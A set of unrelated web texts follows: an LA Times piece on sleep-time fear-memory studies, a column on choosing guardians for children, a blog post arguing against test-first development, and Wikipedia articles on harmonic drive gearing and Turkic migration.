The researchers, a team from Northwestern University's Feinberg School of Medicine, then sought to partially "decondition" half of their subjects during their sleep cycle's slow-wave interval -- a period of sleep closely associated with memory consolidation. There would be no more shocks. But they wouldn't show the sleeping subject a face while not giving her a shock (that would be difficult to see through closed eyes). Instead, the researchers repeatedly pumped into the nap room the fragrance that those subjects had come to associate with being shocked and seeing one of the faces.
When they woke, all were wired up again and shown the images of the faces they had come to associate with getting a shock. For the half that were given repeated sleep-time exposure to the shock-related smell, researchers observed far more muted fear responses to seeing the face associated with the shock and that smell.
Essentially, the subjects were experiencing the effects of "exposure therapy" they had had while sleeping.
In a second study, published Tuesday in the journal Molecular Psychiatry, Stanford University researchers tried a related experiment on mice, only using sleep to strengthen emotional fear memories.
First, the researchers conditioned mice to respond fearfully to a certain odor by introducing it whenever the animal got a painful foot shock.
For half of the mice, things got even worse: Researchers pumped that shock-related odor into their cages during their non-rapid eye movement sleep intervals. Upon awakening, those mice were far more likely than those who did not get the sleep-time aromatherapy to freeze when they smelled the odor they associated with getting a shock.
Then, the study authors tried to weaken memories associated with a painful stimulus. Just before the mice slept, they injected protein synthesis inhibitor into the fear center -- the amygdala -- of the mice's brains. This agent typically makes memories more slippery: They're apt to change or weaken when they're revisited and stored again.
After an unperturbed sleep, the mice treated with the protein synthesis inhibitor did, indeed, show less fear response when puffs of the shock-associated odor were pumped into their cage.
But when the mice got the protein synthesis inhibitor and also the reinforcing puffs of odor during sleep, the fear association between shock and its associated odor was so strong, it overpowered the expected effects of protein synthesis inhibitor.
"We see these findings as proof of the concept that memories can be manipulated during sleep, and that such manipulation offers diverse therapeutic potential," the authors wrote.
For those plagued by post-traumatic stress or phobias, exposure therapy -- a revisiting of the fearful memory or circumstance under safe circumstances -- is very effective. But for some, it's so difficult that progress can be fitful, or blocked. These two studies suggest that if mental health professionals could use a patient's sleep-time to weaken fearful memories -- or to strengthen associated memories that are sources of comfort or strength -- patients might make better progress in overcoming the fears that haunt them.
Los Angeles Times Articles | <urn:uuid:aa158eab-d10a-489c-aa5d-3417b0a45bf6> | http://articles.latimes.com/2013/oct/01/science/la-sci-sleep-extinguish-memory-phobias-20131001 | en | 0.96164 | 0.07028 | mlfoundations/dclm-baseline-1.0-parquet |
Home · Articles · Columns · The Road to Wellness · The Guardianship Question
The Guardianship Question
By trent hamm · June 18th, 2008 · The Road to Wellness
This is a challenging article for me to write, because it hits close to home. Guardianship: Who will take care of my children if my wife and I were to both pass away suddenly?
It's a question so painful to think about that many parents simply don't think about it -- and that can prove to be a huge mistake.
Why worry about it? In the most generic sense, you don't have to. Each state has intestacy laws (intestacy refers to laws that determine what happens to your property in the absence of a will) that determine, based on a simple set of rules, who would have the opportunity to claim custody of your children.
Grandparents, aunts and uncles often are options. In most loving families, the people will come together and find a solid and workable solution for your children.
The only problem with this solution is that you have no voice in the matter. Your extended family and the state will make this decision, not you and your spouse.
Questions to Ask When Picking a (Possible) Guardian for Your Children
· Does the potential guardian share your values? In other words, does the potential guardian believe in the same things that you believe in and have many of the same philosophies about raising children that you do? To borrow from Les Miserables, you don't want your little Cosette put in the hands of the Thenardiers even if you believe they have the means necessary to raise your child.
· Do you believe the guardian will raise your child in accordance with those values? Is that potential guardian a good person? If you're not confident of his or her character, you might not want to have your child raised by that person. For example, the guardians we selected for our own child have vastly different interests than we do, but I know their character -- our children will be in good hands with them.
· Does that potential guardian have a strong family network around him or her to help with the burden of having unexpected (and likely traumatized) children? Likely, if you die suddenly, the lives of the guardians you selected will be turned upside down. Does your guardian have the appropriate network of support to ensure that your child's life doesn't quickly descend into chaos? It's often a good idea that the potential guardian lives near your child's grandparents.
· Will that potential guardian teach your children the basics of success in life? In other words, you wouldn't want to turn your children over to someone who would be incapable of teaching your child basic life skills. Can the guardian manage his or her own life effectively?
· Does that guardian have the financial security to ensure that your child's needs are met? In other words, if they're struggling to make ends meet right now, dumping two children into the situation might not be good unless you're adding your own financial support.
· Will that guardian have an expected natural lifespan that will allow them to remain as guardian until your child enters adulthood? Your children have already gone through the trauma of losing both parents. Why would you want them to go through the trauma of losing a guardian as well?
The relative values of each of these questions likely will vary a lot depending on your personal values, but they're all worth considering. When making our decision, we actually compiled a giant list of everyone whom we'd even consider as a guardian, then gradually eliminated people one at a time, eventually winding up with three strong candidates.
After a lot of discussion, we decided to choose guardians that had the best access (by far) to grandparents for support in raising our kids -- that was our tiebreaker.
Planning for the Situation
If there's a scenario in which you and your spouse have both passed on and your guardian gains custody of your children, you'll want your estate to be used to ensure that your child has every success in life.
Your will needs to specify your guardianship plan. You might even want to specify multiple guardians so that if your first choice is somehow unable to take on the responsibility your second choice is clearly stated. Consult a lawyer and ensure that your will is set up properly and legally so that your wishes will be carried out.
The most effective method of ensuring your children get their assets might be to set up a living trust right now, so that if you do pass away your property is considered part of that trust and can be distributed by the trustee. Within that trust, you could specify rules for disbursement to your children at certain periods in their lives. You'll need to identify a trustee to handle this task, someone you deeply trust that you're confident could handle the task with good faith.
If you don't have significant assets and your primary gift to your children is your life insurance, you can specify in your will that these cash assets are placed into a trust for them. Again, you'll need a trustee you really trust and, again, you should contact a lawyer to get the specifics worked out.
Your children are some of the most valuable things you'll ever give to the world. Take the time right now to ensure they're well taken care of if something happens to you.
TRENT HAMM blogs about personal finance at www.thesimpledollar.com.
comments powered by Disqus | <urn:uuid:9cbcc041-e5a0-4cb7-964e-ee4f0c51c298> | http://citybeat.com/cincinnati/article-4403-the_guardianship_question.html | en | 0.962421 | 0.111232 | mlfoundations/dclm-baseline-1.0-parquet |
TDD is dead. Long live testing.
By David Heinemeier Hansson on April 23, 2014
Test-first fundamentalism is like abstinence-only sex ed: An unrealistic, ineffective morality campaign for self-loathing and shaming.
It didn't start out like that. When I first discovered TDD, it was like a courteous invitation to a better world of writing software. A mind hack to get you going with the practice of testing where no testing had happened before. It opened my eyes to the tranquility of a well-tested code base, and the bliss of confidence it grants those making changes to software.
The test-first part was a wonderful set of training wheels that taught me how to think about testing at a deeper level, but also some I quickly left behind.
Over the years, the test-first rhetoric got louder and angrier, though. More mean-spirited. And at times I got sucked into that fundamentalist vortex, feeling bad about not following the true gospel. Then I'd try test-first for a few weeks, only to drop it again when it started hurting my designs.
It was yoyo cycle of pride, when I was able to adhere to the literal letter of the teachings, and a crash of despair, when I wasn't. It felt like falling off the wagon. Something to keep quiet about. Certainly not something to admit in public. In public, I at best just alluded to not doing test-first all the time, and at worst continued to support the practice as "the right way". I regret that now.
Maybe it was necessary to use test-first as the counterintuitive ram for breaking down the industry's sorry lack of automated, regression testing. Maybe it was a parable that just wasn't intended to be a literal description of the day-to-day workings of software writing. But whatever it started out as, it was soon since corrupted. Used as a hammer to beat down the nonbelievers, declare them unprofessional and unfit for writing software. A litmus test.
Enough. No more. My name is David, and I do not write software test-first. I refuse to apologize for that any more, much less hide it. I'm grateful for what TDD did to open my eyes to automated regression testing, but I've long since moved on from the design dogma.
I suggest you take a hard look at what that approach is doing to the integrity of your system design as well. If you're willing to honestly consider the possibility that it's not an unqualified good, it'll be like taking the red pill. You may not like what you see after that.
So where do we go from here?
Step one is admitting there's a problem. I think we've taken that now. Step two is to rebalance the testing spectrum from unit to system. The current fanatical TDD experience leads to a primary focus on the unit tests, because those are the tests capable of driving the code design (the original justification for test-first).
I think that's the direction we're heading. Less emphasis on unit tests, because we're no longer doing test-first as a design practice, and more emphasis on, yes, slow, system tests. (Which btw do not need to be so slow any more, thanks to advances in parallelization and cloud runner infrastructure).
Rails can help with this transition. Today we do nothing to encourage full system tests. There's no default answer in the stack. That's a mistake we're going to fix. But you don't have to wait until that's happening. Give Capybara a spin today, and you'll have a good idea of where we're heading tomorrow.
But first of all take a deep breath. We're herding some sacred cows to the slaughter right now. That's painful and bloody. TDD has been so successful that it's interwoven in a lot of programmer identities. TDD is not just what they do, it's who they are. We have some serious deprogramming ahead of us as a community to get out from under that, and it's going to take some time.
The worst thing we can do is just rush into another testing religion. I can just imagine the golden calf of "system tests only!" right now. Please don't go there.
Yes, test-first is dead to me. But rather than dance on its grave, I'd rather honor its contributions than linger on the travesties. It marked an important phase in our history, yet it's time to move on.
Long live testing.
Continue down the rabbit hole with Why Most Unit Testing is Waste by James Coplien and my RailsConf keynote on Writing Software: Part 1 (starts at 11:00), Part 2. | <urn:uuid:c7c80f95-7af4-4b3a-a97f-550fa4462174> | http://david.heinemeierhansson.com/2014/tdd-is-dead-long-live-testing.html | en | 0.962049 | 0.024708 | mlfoundations/dclm-baseline-1.0-parquet |
Harmonic drive
From Wikipedia, the free encyclopedia
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strain wave gearing animation
Harmonic Drive is a strain wave gear that can improve certain characteristics compared to traditional gearing systems. Harmonic Drive is trademarked by the Harmonic Drive company.
The strain wave gear was invented in 1957 by C.W. Musser. The advantages include: no backlash, compactness and light weight, high gear ratios, reconfigurable ratios within a standard housing, good resolution and excellent repeatability (linear representation) when repositioning inertial loads,[1] high torque capability, and coaxial input and output shafts.[2] High gear reduction ratios are possible in a small volume (a ratio from 30:1 up to 320:1 is possible in the same space in which planetary gears typically only produce a 10:1 ratio).
They are typically used in industrial motion control, machine tool, printing machine, robotics[3] and aerospace,[4] for gear reduction but may also be used to increase rotational speed, or for differential gearing.
The basic concept of strain wave gearing (SWG) was introduced by C.W. Musser in his 1957 patent.[5] It was first used successfully in 1960 by USM Co. and later by Hasegawa Gear Works, Ltd. under license of USM. Later, Hasegawa Gear Works, Ltd. became Harmonic Drive Systems Inc. located in Japan and USM Co. Harmonic Drive division became Harmonic Drive Technologies Inc.[6][7]
The electrically-driven wheels of the Apollo Lunar Rover included strain wave gears in their gearing. Also, the winches used on Skylab to deploy the solar panels were powered using strain wave gears. Both of these system were developed by The Harmonic Drive Division of United Shoe Machinery Corp.[citation needed]
On January 1, 2006, Harmonic Drive Technologies/Nabtesco of Peabody, MA and HD Systems of Hauppauge, NY, merged to form a new joint venture, Harmonic Drive LLC.[2] HD Systems, Inc. was a subsidiary company of Harmonic Drive System, Inc. Offices are maintained in Peabody, MA, Hauppauge, NY, San Jose, CA and Oak Park, IL. Harmonic Drive Systems, Inc., Japan is headquartered in Tokyo with its primary manufacturing location in Hotaka, Japan. Harmonic Drive AG has its European headquarters and manufacturing in Limburg/Lahn,Germany.
Cross-section of a strain wave gearing mechanism.
A: circular spline (fixed)
B: flex spline (attached to output shaft, not shown)
C: wave generator (attached to input shaft, not shown)
The strain wave gearing theory is based on elastic dynamics and utilizes the flexibility of metal. The mechanism has three basic components: a wave generator, a flex spline, and a circular spline. More complex versions have a fourth component normally used to shorten the overall length or to increase the gear reduction within a smaller diameter, but still follow the same basic principles.
The wave generator is made up of two separate parts: an elliptical disk called a wave generator plug and an outer ball bearing. The gear plug is inserted into the bearing, giving the bearing an elliptical shape as well.
The flex spline is like a shallow cup. The sides of the spline are very thin, but the bottom is thick and rigid. This results in significant flexibility of the walls at the open end due to the thin wall, but in the closed side being quite rigid and able to be tightly secured (to a shaft, for example). Teeth are positioned radially around the outside of the flex spline. The flex spline fits tightly over the wave generator, so that when the wave generator plug is rotated, the flex spline deforms to the shape of a rotating ellipse but does not rotate with the wave generator.
The circular spline is a rigid circular ring with teeth on the inside. The flex spline and wave generator are placed inside the circular spline, meshing the teeth of the flex spline and the circular spline. Because the flex spline has an elliptical shape, its teeth only actually mesh with the teeth of the circular spline in two regions on opposite sides of the flex spline, along the major axis of the ellipse.
Assume that the wave generator is the input rotation. As the wave generator plug rotates, the flex spline teeth which are meshed with those of the circular spline change. The major axis of the flex spline actually rotates with wave generator, so the points where the teeth mesh revolve around the center point at the same rate as the wave generator. The key to the design of the strain wave gear is that there are fewer teeth (for example two fewer) on the flex spline than there are on the circular spline. This means that for every full rotation of the wave generator, the flex spline would be required to rotate a slight amount (two teeth, for example) backward relative to the circular spline. Thus the rotation action of the wave generator results in a much slower rotation of the flex spline in the opposite direction.
For a strain wave gearing mechanism, the gearing reduction ratio can be calculated from the number of teeth on each gear:
\text{reduction ratio} = \frac {\text{flex spline teeth} - \text{circular spline teeth}} {\text{flex spline teeth}}
For example, if there are 202 teeth on the circular spline and 200 on the flex spline, the reduction ratio is (200 − 202)/200 = −0.01
Thus the flex spline spins at 1/100 the speed of the wave generator plug and in the opposite direction. This allows different reduction ratios to be set without changing the mechanism's shape, increasing its weight, or adding stages. The range of possible gear ratios is limited by tooth size limits for a given configuration.
See also[edit]
1. ^ Chironis, Nicholas; Sclater, Neil (2007). Mechanisms and Mechanical Devices Sourcebook. ISBN 0-07-146761-0.
2. ^ a b Lauletta, Anthony (April 2006). "The Basics of Harmonic Drive Gearing" (PDF). Gear Product News: 32–36.
3. ^ Li, Z; Melek, WW; Clark, C (2009). "Decentralized robust control of robot manipulators with harmonic drive transmission and application to modular and reconfigurable serial arms". Robotica 27 (2): 291–302. doi:10.1017/S0263574708004712.
4. ^ Ueura, K; Kiyosawa, Y; Kurogi, J; Kanai, S; Miyaba, H; Maniwa, K; Suzuki, M; Obara, S (2008). "Tribological aspects of a strain wave gearing system with specific reference to its space application". Proceedings of the Institution of Mechanical Engineers, Part J: Journal of Engineering Tribology 222 (8): 1051–1061. doi:10.1243/13506501JET415. ISSN 1350-6501.
5. ^ U.S. Patent 2,906,143
6. ^ "Harmonic drive companies merge", Motion System Design, 2006.
7. ^ Harmonic Drive Systems Company Information
External links[edit] | <urn:uuid:5feb3578-013e-4068-8a51-fa8f81edbab8> | http://en.wikipedia.org/wiki/Harmonic_drive | en | 0.890659 | 0.136392 | mlfoundations/dclm-baseline-1.0-parquet |
Turkic migration
From Wikipedia, the free encyclopedia
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Map from Mahmud al-Kashgari's Divanu Lughat at-Turk, showing the 11th century distribution of Turkic tribes.
The Pontic steppe, c. 650, showing the early territories of the Khazars, Bulgars, and Avars.
Europe, showing the area of main Pecheneg settlement, c.1015.
The Great Seljuq Empire in 1092, upon the death of Malik Shah I[citation needed]
Kipchaks in Eurasia circa 1200.
The Turkic migration as defined in this article was the expansion of the Turkic peoples across most of Central Asia into Europe and the Middle East between the 6th and 11th centuries AD (the Early Middle Ages). Their prehistoric point of origin was the hypothetical Proto-Turkic region of the Far East including North China and Inner Mongolia.
Certainly identified Turkic tribes were known by the 6th century and by the 10th century most of Central Asia was settled by Turkic tribes. The Seljuk Turks from the 11th century invaded Anatolia, ultimately resulting in permanent Turkic settlement there. Meanwhile the other Turkic tribes either ultimately formed independent nations, such as Kyrgyzstan, Turkmenistan, Uzbekistan and Kazakhstan or formed enclaves within other nations, such as Chuvashia. Turkic peoples also survived in their original range, such as the Uyghur people in China and the Sakha Republic of Siberia, as well as in other scattered places of the Far East and Central Asia.
Ancestral populations[edit]
The earliest documented Turkic peoples appear as nomadic tribes on the plains of the Far East north of the Great Wall of China, which was constructed as a fortified border essentially between Han Dynasty (206 BCE to 220 CE) China (though started earlier) and the Xiong-nu.
Chronicles of Shi Ji[edit]
The population ancestral to the Turkic language speakers is thought to have included the Xiongnu of Mongolia or along the upper Yenisei in Siberia (the area of the contemporary Tuvan language), known from historical sources. The Han Dynasty chronicle of the Xiong-nu, included in the Shi Ji of the 2nd century BCE, traces a legendary history of them back a thousand years before the Han to a legendary ancestor, Chunwei, a supposed descendant of the Chinese rulers of the Xia Dynasty[1] (c. 2070 – c. 1600 BCE). Chunwei lived among the "Mountain Barbarians" Xianyun or Hunzhu. Xianyun and Hunzhu's names may connect them to the Turkic people, who later were said[by whom?] to have been iron-workers and to have kept a national shrine in a mountain cave in Mongolia.
Apparently the Xiong-nu comprised a number of tribes and geographic groups, not all of which were probably Turkic (considering the later mixed ethnicity). The Shi Ji mentions the Mianshu, Hunrong and Diyuan west of Long; the Yiqu, Dali, Wiezhi and Quyan north of the Qi and Liang mountains and Jing and Qi Rivers; the Forest Barbarians and Loufan north of Jin and the Eastern Barbarians and Mountain Barbarians north of Yan. Later the treatise mentions others.
There were apparently many of the latter. At the end of the Xia Dynasty, about 1569 BCE by the Shi Ji's reckoning, the Chinese founded a city, Bin, among the Rong tribe of barbarians. In 1269 the Rong and the Di forced the relocation of Bin. About 1169 BCE the Quanyishi tribe was attacked by the Zhou Dynasty, which in 1159 forced all the barbarians into "the submissive wastes" north of the Jing and Luo Rivers. In 969 BCE "King Mu attacked the Quanrong and brought back with him four white wolves and four white deer ...." The early Turkic peoples believed that shamans could shape-shift into wolves.
In 769 Marquis Shen of the Zhou enlisted the assistance of the Quanrong in rebelling against the emperor You. The barbarians did not then withdraw but took Jiaohuo between the Jing and Wei Rivers and from there went marauding into central China, but were driven out. In 704 the Mountain Barbarians marauded through Yan, and in 660 BC attacked the Zhou emperor Xiang in Luo. He had discarded a barbarian queen. The barbarians put another on the throne. They went on plundering until driven out in 656 BC.
Subsequently the Chinese drove out the Di and subordinated all the Xiong-nu (temporarily at least). Around 456 BC the Chinese took Dai from them. The Yiqu tribe tried building fortifications but lost them to the Chinese in this period of their expansion. Here the detail of the narrative increases as it deals with the rise of the Qin Dynasty of 221-206 BCE, which is no doubt mainly historical rather than legendary. The Qin kept the Xiong-nu at bay.
Equestrian pastorals of the northeast[edit]
Grassland in Inner Mongolia
Concerning the cultural genesis of the Huns, the Cambridge Ancient History of China asserts: "Beginning in about the eighth century BC, throughout inner Asia horse-riding pastoral communities appeared, giving origin to warrior societies." These were part of a larger belt of "equestrian pastoral peoples" stretching from the Black Sea to Mongolia, and known to the Greeks as the Scythians.[3] The Scythians in the west were Iranian, speaking one among very many languages ultimately descended from Proto-Indo-European, whose speakers themselves are also hypothesised to have occupied the Pontic-Caspian Steppe, according to the leading theory of Indo-European origins, the Kurgan model. The communities of the northern belt north of China were the Proto-Xiongnu. Their mode of life was indistinguishable from that of the other Scyths: nomadic wandering on horseback, temporary camps in portable yurts furnished with rugs and tapestries richly decorated with the ornate animal style. The period is dated 650–350 BCE and runs contemporaneously from the middle of the Spring and Autumn Period through the Warring States period of Chinese history.
The Warring States Period represents the start of the Iron Age in China,[4] some centuries after it began in the west. A previous transitional period, 1000–650 BCE, was entirely within the Bronze Age, contemporaneously with the western Zhou Dynasty (1046–771 BCE) and early Spring and Autumn China (ca 771 to 476 BCE). China was expanding then but the Chinese of the northern frontier must have been encountering "aristocratic warrior elites" who were not equestrian nomads but were "increasingly more specialized pastoralists".[citation needed] Their metallurgy was the best of the region and was comparable to that in the west. The Bronze Age did not begin in this region until about 1500 BCE, again trailing the west by several centuries, which suggests that Xiong-nu society was being transformed from an earlier non-equestrian pastoral phase by an impulse from the Scythians, who were reaching maximum eastward expansion along the Silk Route.
From about 1500 BC to 1000 BCE, contemporaneously with the Shang Dynasty, a mix of pastoralism and agriculture prevailed in Central Asia, south Siberia and the northern zone on the north of China. The population were shepherds and farmers who supplemented their diet by hunting. They were beginning to use bronze weapons. The Bronze Age began about 1500 BC. Before then the northern region was sedentary, agricultural and divided into a number of Neolithic cultures deriving from the Ordos culture, which stretched back into the Palaeolithic. Racial developments are perhaps to be considered in the Ordos and language developments no later than the sedentary Neolithic. By 1500 BC both Turkic and Mongolian languages in some form of diversity or lack of it must have been in place.
For more details on this topic, see Ordos culture, List of Neolithic cultures of China.
An archaeological culture that can be specifically labeled Xiong-nu is found over the northern range in the 650–350 period. Typical of it is the complex of élite burial structures 45 km west of Noyon Uul in Mongolia. This high-altitude cemetery of wealthy Xiong-nu leaders contained 212 burials at 8 locations in 3 valleys connected by passes. Very likely the Xiong-nu frequented the place only to lay their chieftains to rest.[original research?]
A single tomb is a burial chamber within a mound accessed by a ramp down. Over the chamber are layers of stone, soil and logs or planks. The chamber is constructed of Larix sibericus. The deceased was interred with a rich endowment of grave goods: felt or woven carpets, silk, jade, semiprecious stones from Central Asia, fine Chinese lacquered ware and gold jewelry. The weaves are those of Bactria and animal remains include those of the Bactrian camel.
Other complexes like this are scattered over the entire range from the Altai to northern China. The culture represents perhaps the empire of the Huns on the verge of westward expansion. It contradicts the myth of a few obscure tribes about to be uprooted by Chinese expansion. Here in fact is the first Turkic empire.[citation needed]
Further information: Han–Xiongnu War
For more details on this topic, see Xiongnu.
The Han Dynasty and the Xiongnu
In material that is more certainly historical the Xiongnu appear as a confederacy of marauding nomads against whom the first emperor of the Qin Dynasty sent an army on a military expedition in 215 BC and kept them at bay,[5] while driving them out of and seizing the Ordos region.[6] Problems re-emerged after the Qin Dynasty. The Xiong-nu attacked Shanxi Province of the Han Dynasty in 201 BCE. Emperor Gaozu of Han bought them off with jade, silk and a Chinese wife for the Shanyu, or leader.[7] Relations with the Xiongnu continued to be troubled and in 133 BC Emperor Wu of Han proceeded against them with 300,000 men.[8] Eighty-one years and fourteen expeditions later in 52 BC the southern Xiongnu surrendered and the northern desisted from raiding. The Han Dynasty military expeditions continued near the frontier of China, in the Han–Xiongnu War, and in 89 AD the Xiongnu state was defeated and soon ended.[9][10]
One especially severe round of nomadic rebellion in the early 4th century has led to the certain identification of the Xiongnu with the Huns. A letter (Letter II) written in the ancient Sogdian language excavated from a Han Dynasty watchtower in 1911 identified the perpetrators of these events as the xwn, "Huns", supporting de Guignes' 1758 identification. The equivalence was not without its critics, notably Otto J. Maenchen-Helfen, who argued that xwn was a general name and could refer to anyone. More recently other evidence was noticed: Zhu Fahu, a monk, translated Sanskrit Hūṇa in the Tathāgataguhya Sūtra and in the Lalitavistara as "Xiongnu". Vaissière reconstructs the pronunciation as *Xiwong nuo. Moreover the Book of Wei states that the king of the Xiongnu killed the king of Sogdiana and took the country, an event is datable to the time of the Huns, who did exactly that; in short, "... the name of the Huns is a precise referent and not generic."[11]
The Hunnic Empire of about AD 450 as seen by European authors. The east is somewhat of a mystery. Originally the Huns extended all the way close to China and it is possible that Attila's domain reached that far. More likely ethnic elements of the east were already recombining into a Tujue, or Turkic, state. The star marks where the nomadic Huns chose to encamp, the Hungarian plain, a sort of enclave of steppe country in a mountainous region.
Myths of the Huns[edit]
This evidence invalidates certain academic myths concerning the Huns who for a time ruled vast areas of Europe and were stopped from moving further west by the Battle of Châlons. Orosius has the Huns riding down upon the Ostrogoths in the year AD 377 totally by surprise, "long shut off by inaccessible mountains"[12] and apparently of hitherto unsuspected existence. Whatever may have been his reasons for making such a statement, he and Goths might have found ample reference to the Huns in the classical geographers, such as Pliny and Ptolemy; in fact, some were already in Europe.[13] The mountains were mythical as the Ostrogoths were located on the Pontic steppe, an easy target for Hunnic cavalry.
The previous two errors together invite a third aetiology: if the Huns had disappeared they must have been en route from China to Europe and therefore require a reason for migration. They were perhaps driven from their homeland by the Chinese; most likely the Han Dynasty after they had defeated and ended the Xiongnu state in the Han–Xiongnu War. That dynasty, however, was militarily unable to attack the Xiong-nu at the time the Huns would have departed. The Xiong-nu were never uprooted from Mongolia and the north of China; if they had been, they could not have recombined as the five Hu or the Rouran. However, this conjecture fails to take into account the possibility of a branch of the Xiong-nu being displaced and traveling west to become the Huns of Europe.[citation needed]
Identity of the Huns[edit]
For more details on this topic, see Huns.
While in Europe they incorporated others who fought for them at the Battle of Châlons, such as Goths, Slavs, and Alans.
The Huns were not literate (according to Procopius[14]) and left nothing linguistic with which to identify them except their names,[14] which derive from Germanic, Iranian, Turkic, unknown and a mixture.[15] Some, such as Ultinčur and Alpilčur, are like Turkish names ending in -čor, Pecheneg names in -tzour and Kirghiz names in -čoro. Names ending in -gur, such as Utigur and Onogur, and -gir, such as Ultingir, are like Turkish names of the same endings.
The Huns called themselves the Acatir (Greek Akatiroi, Latin Acatiri), which Wilhelm Tomaschek derived from Agac-ari, "forest men",[16] reminiscent of the "Forest Barbarians" of the Shi-Ji. The Agaj-eri are mentioned in an AD 1245 Turko-Arabian Dictionary. The name Agac-eri occurred in later history in Anatolia and Khuzistan(e.g. city of Aghajari). Maenchen-Helfen rejects this etymology on the grounds that g is not k and there appears to be no linguistic rule to make the connection.[17] Herodotus, however, mentions the Agathyrsi, whom Latham connects with some early Acatiri in Dacia.[18]
Jordanes places the "most mighty race of the Acatziri, ignorant of agriculture, which lives upon its herds and upon hunting" south of the Aesti (in part Prussians). A number of sources identify the Bulgars with the Huns.[19] Another branch were the Saviri, or Sabir people. The strongest candidate for a remnant of the speakers of the Hunnic language are the Chuvash, who are on or near the location of the Volga Bulgars.
The end of the Huns as a Eurasian political unity is not known. A token end point for the Huns of the west, perhaps all the Huns, is the fixation of the head of Dengizich, a son of Attila, on a pole at Constantinople in 469. He had been defeated in Thrace in that year by Anagastes, a Gothic general in the service of the Roman Empire.[20]
Various peoples continued to call themselves Huns even though acting autonomously, such as the Sabir people. According to the Cambridge History of Early Inner Asia, the last state to call itself Hunnic was the Caucasian Kingdom of the Huns, visited in 682 by an Albanian bishop.[21] Many of these peoples were Turkic but meanwhile other coalitions leading to explicitly named Turkic empires had been forming on the original range of the Xiong-nu. Their expansion has been conventionally called the "Turkic migration" but in fact the Turkics had already been "migrating" for some centuries.
Five Hu[edit]
The early-fourth-century rebellion, while sacking of northern Chinese cities, by the Xiong-nu was mentioned above in connection with the Huns. This was primarily caused by the Chinese enslaving and moving millions of Turkic people into China. However, most of the Xiongnu were later wiped out by the Chinese Ran Wei state (350–352) after Ran Min's cull order following the end of the Wei–Jie war, which annihilated three of the "Five Hu" tribes. In that century some of the Xiong-nu broke away and joined with the Di as the Five Hu, or "Five Barbarian Peoples" (Wu Hu 五胡), as the Chinese called them, for purposes of ruling the north of China.[22] The Five Hu were the Xiong-nu, Jie, Zhi, Chiang people and Xianbei,[23] although different groups of historians and historiographers have their own definitions.
Rouran and Tie-le[edit]
However, the Chinese name "tie-le", corresponding to "Türük", was used much earlier, around the period when the Mongolic tribes Tuoba and Rouran vied for hegemony over the Mongolian steppes around the 5th and 6th centuries.
Tu-jue (Turks)[edit]
The term Türk or Türküt, corresponding to the Chinese name tu-jue, was first used as an endonym in the Orkhon inscriptions of the Göktürks (English: 'Celestial Turks') of Central Asia. The first reference to "Turks" (Tujue) appears in Chinese sources of the 6th century. The earliest evidence of Turkic languages as a separate group comes from the Orkhon inscriptions of the early 8th century.
The precise date of the initial expansion from the early homeland remains unknown. The first state known as "Turk", giving its name to the many states and peoples afterwards, was that of the Göktürks (gök = 'blue' or 'celestial', however in this context "gok" refers to the direction "east". Therefore Gokturks are the Eastern Turks) in the 6th century. The head of the Ashina clan led his people from Li-jien (modern Zhelaizhai) to the Rouran seeking inclusion in their confederacy and protection from China. His tribe comprised famed metal smiths and was granted land near a mountain quarry that looked like a helmet, from which they got their name 突厥. A century later their power had increased such that they conquered the Rouruan and set about establishing a Göktürk Empire.
The Turkic family of languages were spoken by Bulgars, Pechenegs, Cumans, Dingling, Gaoche peoples long before the Göktürk Khanate came into prominence. Many groups speaking 'Turkic' languages never adopted the name "Turk" for their own identity. Among the peoples that came under Göktürk dominance and adopted its political culture and lingua-franca, the name "Turk" wasn't always the preferred identity. In other words, there wasn't a unified movement westward by a culture under one unified ethnic identity, such as that of the Mongol conquest of Eurasia under the Chinggisid political leadership. Rather, Turkic languages – both peripheral ones like the Bulgar branch and central ones like the Oghuz and Karluk-Chagatay branches – drifted westward by autonomous movements of diverse tribes and migrating traders, soldiers and townspeople, outnumbering and assimilating non-Turkic indigenous peoples along the way, and being partly replaced by other language families that have become prominent in the east, such as Mongolic languages on the Mongolian steppes, Indic languages in India, and Persian in post-Timurid Iran.
Later Turkic peoples include the Karluks (mainly 8th century), Uyghurs, Kyrgyz, Oghuz (or Guz, Uz, Ghuzz, etc.) Turks, and Turkmens. As these peoples were founding states in the area between Mongolia and Transoxiana, they came into contact with Muslims, and most gradually adopted Islam. However, there were also some other groups of Turkic people who belonged to other religions, including Christians, Jews (see Khazars), Buddhists, and Zoroastrians.
Settlements and regions affected during the first wave of Turkish invasions in Asia Minor (1050-1204).
While the Karakhanid state remained in this territory until its conquest by Genghis Khan, the Turkmen group of tribes was formed around the core of westward Oghuz. The name "Turkmen" originally simply meant "I am Turk" in the language of the diverse tribes living between the Karakhanid and Samanid states. Thus, the ethnic consciousness among some, but not all Turkic tribes as "Turkmens" in the Islamic era came long after the fall of the non-Muslim Gokturk (and Eastern and Western) Khanates. The name "Turk" in the Islamic era became an identity that grouped Islamized Turkic tribes in contradistinction to Turkic tribes that were not Muslim (that mostly have been referred to as "Tatar"), such as the Nestorian Naiman (which became a major founding stock for the Muslim Kazakh nation) and Buddhist Tuvans. Thus the ethnonym "Turk" for the diverse Islamized Turkic tribes somehow served the same function as the name "Tajik" did for the diverse Iranian peoples who converted to Islam and adopted Persian as their lingua-franca. Both names first and foremost labeled Muslimness, and to a lesser extent, common language and ethnic culture. Long after the departure of the Turkmens from Transoxonia towards the Karakum and Caucasus, consciousness associated with the name "Turk" still remained, as Chagatay and Timurid period Central Asia was called "Turkestan" and the Chagatay language called "Turki", even though the people only referred to themselves as "Mughals", "Sarts", "Taranchis" and "Tajiks". This name "Turk", was not commonly used by most groups of the Kypchak branch, such as the Kazakhs, although they are closely related to the Oghuz (Turkmens) and Karluks (Karakhanids, Sarts, Uyghurs). Neither did Bulgars (Kazan Tatars, Chuvash) and non-Muslim Turkic groups (Tuvans, Yakuts, Yugurs) come close to adopting the ethnonym "Turk" in its Islamic Era sense. Among the Karakhanid period Turkmen tribes rose the Atabeg Seljuq of the Kinik tribe, whose dynasty grew into a great Islamic empire stretching from India to Anatolia.
Turkic soldiers in the army of the Abbasid caliphs emerged as the de facto rulers of much of the Muslim Middle East (apart from Syria and North Africa) from the 13th century. The Oghuz and other tribes captured and dominated various countries under the leadership of the Seljuk dynasty, and eventually captured the territories of the Abbasid dynasty and the Byzantine Empire.
